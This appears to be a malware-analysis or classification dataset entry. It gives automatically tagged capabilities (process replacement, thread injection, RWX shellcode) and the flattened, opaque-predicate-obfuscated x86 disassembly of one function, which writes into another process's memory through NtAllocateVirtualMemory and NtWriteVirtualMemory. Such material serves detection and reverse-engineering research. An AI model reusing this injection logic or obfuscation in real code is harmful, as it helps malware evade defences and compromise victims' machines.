Function at 0x100144d0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x104
mov eax, dword [0x1008f280]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x10c], 0xc3949335
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x110], eax
sub eax, 0x80829b5c
je 0x100194a8
jmp 0x1001450c
mov eax, dword [ebp - 0x110]
sub eax, 0x80d92214
je 0x10016930
jmp 0x10014522
mov eax, dword [ebp - 0x110]
sub eax, 0x812565d7
je 0x10017b5a
jmp 0x10014538
mov eax, dword [ebp - 0x110]
sub eax, 0x81696666
je 0x1001626d
jmp 0x1001454e
mov eax, dword [ebp - 0x110]
sub eax, 0x81730df5
je 0x10017b10
jmp 0x10014564
mov eax, dword [ebp - 0x110]
sub eax, 0x81dee8ac
je 0x10018058
jmp 0x1001457a
mov eax, dword [ebp - 0x110]
sub eax, 0x81f1235a
je 0x10017a46
jmp 0x10014590
mov eax, dword [ebp - 0x110]
sub eax, 0x83cfadf0
je 0x10017524
jmp 0x100145a6
mov eax, dword [ebp - 0x110]
sub eax, 0x88b409c3
je 0x10017f11
jmp 0x100145bc
mov eax, dword [ebp - 0x110]
sub eax, 0x88f77a0a
je 0x100196b6
jmp 0x100145d2
mov eax, dword [ebp - 0x110]
sub eax, 0x89d2e539
je 0x1001827b
jmp 0x100145e8
mov eax, dword [ebp - 0x110]
sub eax, 0x8abd77c1
je 0x100194fd
jmp 0x100145fe
mov eax, dword [ebp - 0x110]
sub eax, 0x8b0c2280
je 0x10018a55
jmp 0x10014614
mov eax, dword [ebp - 0x110]
sub eax, 0x8e339438
je 0x10017365
jmp 0x1001462a
mov eax, dword [ebp - 0x110]
sub eax, 0x903970d9
je 0x1001934f
jmp 0x10014640
mov eax, dword [ebp - 0x110]
sub eax, 0x915600e9
je 0x10017dac
jmp 0x10014656
mov eax, dword [ebp - 0x110]
sub eax, 0x92614bf4
je 0x100171dd
jmp 0x1001466c
mov eax, dword [ebp - 0x110]
sub eax, 0x933f9b59
je 0x100176e5
jmp 0x10014682
mov eax, dword [ebp - 0x110]
sub eax, 0x947093ce
je 0x10017899
jmp 0x10014698
mov eax, dword [ebp - 0x110]
sub eax, 0x94dd7f58
je 0x10017d84
jmp 0x100146ae
mov eax, dword [ebp - 0x110]
sub eax, 0x94e93b95
je 0x1001739a
jmp 0x100146c4
mov eax, dword [ebp - 0x110]
sub eax, 0x9743c7bb
je 0x1001932a
jmp 0x100146da
mov eax, dword [ebp - 0x110]
sub eax, 0x9814a40f
je 0x100179d0
jmp 0x100146f0
mov eax, dword [ebp - 0x110]
sub eax, 0x98196d45
je 0x10017459
jmp 0x10014706
mov eax, dword [ebp - 0x110]
sub eax, 0x99853e9b
je 0x10017d66
jmp 0x1001471c
mov eax, dword [ebp - 0x110]
sub eax, 0x99aa68d6
je 0x10015e94
jmp 0x10014732
mov eax, dword [ebp - 0x110]
sub eax, 0x9b0b2971
je 0x100192c2
jmp 0x10014748
mov eax, dword [ebp - 0x110]
sub eax, 0x9b1506a5
je 0x1001690b
jmp 0x1001475e
mov eax, dword [ebp - 0x110]
sub eax, 0x9b71563f
je 0x10018d3d
jmp 0x10014774
mov eax, dword [ebp - 0x110]
sub eax, 0x9bd6f851
je 0x1001744a
jmp 0x1001478a
mov eax, dword [ebp - 0x110]
sub eax, 0x9c252238
je 0x10015f18
jmp 0x100147a0
mov eax, dword [ebp - 0x110]
sub eax, 0x9c6dc4ae
je 0x100187a4
jmp 0x100147b6
mov eax, dword [ebp - 0x110]
sub eax, 0x9ccdfda3
je 0x100164b1
jmp 0x100147cc
mov eax, dword [ebp - 0x110]
sub eax, 0x9da77baf
je 0x100190ac
jmp 0x100147e2
mov eax, dword [ebp - 0x110]
sub eax, 0x9e884d41
je 0x100193fb
jmp 0x100147f8
mov eax, dword [ebp - 0x110]
sub eax, 0xa17942ff
je 0x10016f7f
jmp 0x1001480e
mov eax, dword [ebp - 0x110]
sub eax, 0xa2d01fe3
je 0x10018cca
jmp 0x10014824
mov eax, dword [ebp - 0x110]
sub eax, 0xa56b91da
je 0x1001746f
jmp 0x1001483a
mov eax, dword [ebp - 0x110]
sub eax, 0xa661fd84
je 0x10018fbf
jmp 0x10014850
mov eax, dword [ebp - 0x110]
sub eax, 0xa72e3646
je 0x100167ae
jmp 0x10014866
mov eax, dword [ebp - 0x110]
sub eax, 0xa791e924
je 0x100167f1
jmp 0x1001487c
mov eax, dword [ebp - 0x110]
sub eax, 0xa800eb7d
je 0x100163b4
jmp 0x10014892
mov eax, dword [ebp - 0x110]
sub eax, 0xa83445f7
je 0x10017f5b
jmp 0x100148a8
mov eax, dword [ebp - 0x110]
sub eax, 0xa9111894
je 0x10018891
jmp 0x100148be
mov eax, dword [ebp - 0x110]
sub eax, 0xa99062b0
je 0x10017ed1
jmp 0x100148d4
mov eax, dword [ebp - 0x110]
sub eax, 0xa9e2e6d9
je 0x10017a97
jmp 0x100148ea
mov eax, dword [ebp - 0x110]
sub eax, 0xa9f844d3
je 0x10019142
jmp 0x10014900
mov eax, dword [ebp - 0x110]
sub eax, 0xaa11ed1d
je 0x10016fa1
jmp 0x10014916
mov eax, dword [ebp - 0x110]
sub eax, 0xaa189119
je 0x10016eae
jmp 0x1001492c
mov eax, dword [ebp - 0x110]
sub eax, 0xaa36e246
je 0x10017e7d
jmp 0x10014942
mov eax, dword [ebp - 0x110]
sub eax, 0xabcab785
je 0x10017ca1
jmp 0x10014958
mov eax, dword [ebp - 0x110]
sub eax, 0xabd5973f
je 0x100174ae
jmp 0x1001496e
mov eax, dword [ebp - 0x110]
sub eax, 0xabdda95f
je 0x100164a2
jmp 0x10014984
mov eax, dword [ebp - 0x110]
sub eax, 0xac6b5aeb
je 0x1001647a
jmp 0x1001499a
mov eax, dword [ebp - 0x110]
sub eax, 0xad87eefd
je 0x10016e9f
jmp 0x100149b0
mov eax, dword [ebp - 0x110]
sub eax, 0xadc1ae9d
je 0x10018dec
jmp 0x100149c6
mov eax, dword [ebp - 0x110]
sub eax, 0xaf1e0983
je 0x10017d9d
jmp 0x100149dc
mov eax, dword [ebp - 0x110]
sub eax, 0xb0e248dd
je 0x10017771
jmp 0x100149f2
mov eax, dword [ebp - 0x110]
sub eax, 0xb12e767a
je 0x10019295
jmp 0x10014a08
mov eax, dword [ebp - 0x110]
sub eax, 0xb1c3d340
je 0x10017962
jmp 0x10014a1e
mov eax, dword [ebp - 0x110]
sub eax, 0xb341ffe1
je 0x100166da
jmp 0x10014a34
mov eax, dword [ebp - 0x110]
sub eax, 0xb53fccac
je 0x10017a28
jmp 0x10014a4a
mov eax, dword [ebp - 0x110]
sub eax, 0xb6a6c01d
je 0x100193d7
jmp 0x10014a60
mov eax, dword [ebp - 0x110]
sub eax, 0xb792fdca
je 0x100186d6
jmp 0x10014a76
mov eax, dword [ebp - 0x110]
sub eax, 0xb800fbcf
je 0x10015f78
mov byte [ebp - 0xe9], 0
mov dword [ebp - 0x10c], 0x77ab89b3
jmp 0x100196ea
mov eax, dword [0x1009088c]
mov ecx, dword [0x10090888]
mov edx, eax
sub edx, 0x54be1113
sub edx, 1
add edx, 0x54be1113
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb12e767a
mov ecx, 0xe6a4b2d7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x100196ea
mov dword [ebp - 0xf0], 0xefb8ef4
mov dword [ebp - 0x10c], 0x5bbbd74d
jmp 0x100196ea
mov dword [ebp - 0x10c], 0x49c10966
jmp 0x100196ea
mov dword [ebp - 0x10c], 0x9ccdfda3
jmp 0x100196ea
mov dword [ebp - 0x10c], 0x9ccdfda3
jmp 0x100196ea
mov dword [ebp - 0x10c], 0x464c6592
jmp 0x100196ea
mov dword [ebp - 0x10c], 0x4ace010
jmp 0x100196ea
mov dword [ebp - 0x10c], 0x5c1c6afa
jmp 0x100196ea
mov ecx, dword [0x1009088c]
mov eax, dword [0x10090888]
mov edx, ecx
sub edx, 0xfe5af0ef
sub edx, 1
add edx, 0xfe5af0ef
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x903970d9
mov ecx, 0xe3c50c1a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x100196ea
mov dword [ebp - 0x10c], 0x7e260372
jmp 0x100196ea
xor eax, eax
mov dl, al
mov eax, 0x13b9b9bd
mov ecx, 0xf5732531
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x100196ea
mov dword [ebp - 0x10c], 0xaa189119
jmp 0x100196ea
mov eax, dword [0x1009088c]
mov ecx, dword [0x10090888]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb6a6c01d
mov ecx, 0x3c6099f5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x100196ea
mov eax, dword [ebp - 0xf8]
xor ecx, ecx
sub ecx, 1
sub eax, ecx
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0x10c], 0xaa11ed1d
jmp 0x100196ea
mov dword [ebp - 0x10c], 0x1676350e
jmp 0x100196ea
mov al, byte [ebp - 0x80]
and al, 1
mov byte [ebp - 0x7f], al
mov eax, dword [0x1009088c]
mov ecx, dword [0x10090888]
mov edx, eax
add edx, 0xd90bc223
sub edx, 1
sub edx, 0xd90bc223
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x52b01a95
mov ecx, 0x188802e6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x100196ea
mov byte [ebp - 0xf9], 0
mov dword [ebp - 0x10c], 0x302b493f
jmp 0x100196ea
mov byte [ebp - 0xf9], 1
mov dword [ebp - 0x10c], 0xc08636f
jmp 0x100196ea
mov dword [ebp - 0x10c], 0x8df2ec9
jmp 0x100196ea
mov byte [ebp - 0xf9], 0
mov dword [ebp - 0x10c], 0xa56b91da
jmp 0x100196ea
mov dword [ebp - 0x10c], 0x8df2ec9
jmp 0x100196ea
mov ecx, dword [0x1009088c]
mov eax, dword [0x10090888]
mov edx, ecx
sub edx, 0xfbc010e2
sub edx, 1
add edx, 0xfbc010e2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe76e1ee0
mov ecx, 0x83cfadf0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x100196ea
mov eax, dword [0x1009088c]
mov ecx, dword [0x10090888]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe76e1ee0
mov ecx, 0x13f6ec60
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x100196ea
mov byte [ebp - 0xfa], 0
mov ecx, dword [0x1009088c]
mov eax, dword [0x10090888]
mov edx, ecx
add edx, 0xae4b3e05
sub edx, 1
sub edx, 0xae4b3e05
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6b5a8da
mov ecx, 0xd3f0311e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x100196ea
xor eax, eax
mov dl, al
mov eax, 0x745d8cd5
mov ecx, 0xba6d5e03
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x100196ea
mov dword [ebp - 0x10c], 0x69904cf8
jmp 0x100196ea
mov ecx, dword [0x1009088c]
mov eax, dword [0x10090888]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3eee1f6
mov ecx, 0x9814a40f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x100196ea
mov byte [ebp - 0xfb], 1
mov eax, dword [0x1009088c]
mov ecx, dword [0x10090888]
mov edx, eax
sub edx, 0xe81ccf5e
sub edx, 1
add edx, 0xe81ccf5e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3eee1f6
mov ecx, 0xb53fccac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x100196ea
mov dword [ebp - 0x10c], 0x421564f8
jmp 0x100196ea
mov eax, dword [0x1009088c]
mov ecx, dword [0x10090888]
mov edx, eax
add edx, 0x4f5ad3c3
sub edx, 1
sub edx, 0x4f5ad3c3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x80829b5c
mov ecx, 0xa9e2e6d9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x100196ea
mov eax, dword [0x1009088c]
mov ecx, dword [0x10090888]
mov edx, eax
add edx, 0xbeb76a6e
sub edx, 1
sub edx, 0xbeb76a6e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x80829b5c
mov ecx, 0x461a7a19
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x100196ea
mov eax, 0x812565d7
mov ecx, 0xada67fe
cmp dword [ebp - 0x100], 0xefb8f15
cmovg eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x100196ea
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x10c], 0x1df1d3cb
jmp 0x100196ea
mov dword [ebp - 0x104], 0xefb8ee8
cmp dword [ebp - 0x104], 0xefb8f04
setg al
and al, 1
mov byte [ebp - 0x72], al
mov dword [ebp - 0x10c], 0xd99d54b1
jmp 0x100196ea
mov dl, byte [ebp - 0x72]
mov eax, 0x915600e9
mov ecx, 0x94dd7f58
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x100196ea
mov dword [ebp - 0x104], 0xefb8f08
mov dword [ebp - 0x10c], 0xaf1e0983
jmp 0x100196ea
mov dword [ebp - 0x10c], 0x32358774
jmp 0x100196ea
mov eax, dword [0x1009088c]
mov ecx, dword [0x10090888]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4e68b349
mov ecx, 0xdc73a92c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x100196ea
mov dword [ebp - 0x10c], 0xc607a0c4
jmp 0x100196ea
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x104], eax
mov dword [ebp - 0x10c], 0x88b409c3
jmp 0x100196ea
mov dword [ebp - 0x10c], 0x32358774
jmp 0x100196ea
mov ecx, dword [0x1009088c]
mov eax, dword [0x10090888]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x67c49ebc
mov ecx, 0xd4ceb848
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x100196ea
mov dword [ebp - 0x10c], 0x12b978f7
jmp 0x100196ea
mov eax, dword [0x1009088c]
mov ecx, dword [0x10090888]
mov edx, eax
sub edx, 0x39a5dc93
sub edx, 1
add edx, 0x39a5dc93
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x28738a0a
mov ecx, 0x6879887a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x100196ea
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax + 4]
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x10c], 0x66b49483
jmp 0x100196ea
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.100105e0
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov ecx, dword [eax + 0x50]
mov eax, dword [ebp - 0xbc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd4]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xbc]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov dword [ebp - 0x50], eax
mov ecx, dword [0x1009088c]
mov eax, dword [0x10090888]
mov edx, ecx
add edx, 0x8ef4d504
sub edx, 1
sub edx, 0x8ef4d504
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x72688826
mov ecx, 0xa9111894
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x100196ea
mov dword [ebp - 0x10c], 0xd68bab16
jmp 0x100196ea
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov ax, word [eax + 6]
mov word [ebp - 0x42], ax
mov ecx, dword [0x1009088c]
mov eax, dword [0x10090888]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4f2a34ed
mov ecx, 0x55767d9d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x100196ea
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
add eax, 0x1f282ebc
add eax, 1
sub eax, 0x1f282ebc
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x10c], 0xb98ff953
jmp 0x100196ea
mov eax, dword [ebp - 0x28]
mov edx, dword [eax]
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0x2c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0xdc]
mov edx, dword [eax]
mov eax, 0x9da77baf
mov ecx, 0x27a219c
cmp dword [edx + 0xc4], 0
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x100196ea
mov eax, dword [0x1009088c]
mov ecx, dword [0x10090888]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x88f77a0a
mov ecx, 0xbb63d2b1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x100196ea
mov dword [ebp - 0x10c], 0x63adcaad
jmp 0x100196ea
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xdc]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x28]
sub eax, 0xf0091a02
add eax, ecx
add eax, 0xf0091a02
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
add eax, 0xb0
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10c], 0xc6896657
jmp 0x100196ea
mov dword [ebp - 0x10c], 0x6795b4e1
jmp 0x100196ea
mov dword [ebp - 0x10c], 0x9c252238
jmp 0x100196ea
mov dword [ebp - 0xf0], 0xefb8ec1
mov dword [ebp - 0x10c], 0x7c2c0e91
jmp 0x100196ea
mov byte [ebp - 0xf1], 1
mov dword [ebp - 0x10c], 0x4f10d022
jmp 0x100196ea
mov byte [ebp - 0xf2], 1
mov dword [ebp - 0x10c], 0xe3c50c1a
jmp 0x100196ea
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x10c], 0x3c6099f5
jmp 0x100196ea
mov byte [ebp - 0xf9], 0
mov dword [ebp - 0x10c], 0xcf0ef92d
jmp 0x100196ea
mov dword [ebp - 0x10c], 0xa9e2e6d9
jmp 0x100196ea
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x10c], 0x6f4a9db8
jmp 0x100196ea
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x10c], 0xbb63d2b1
jmp 0x100196ea
jmp 0x100144f0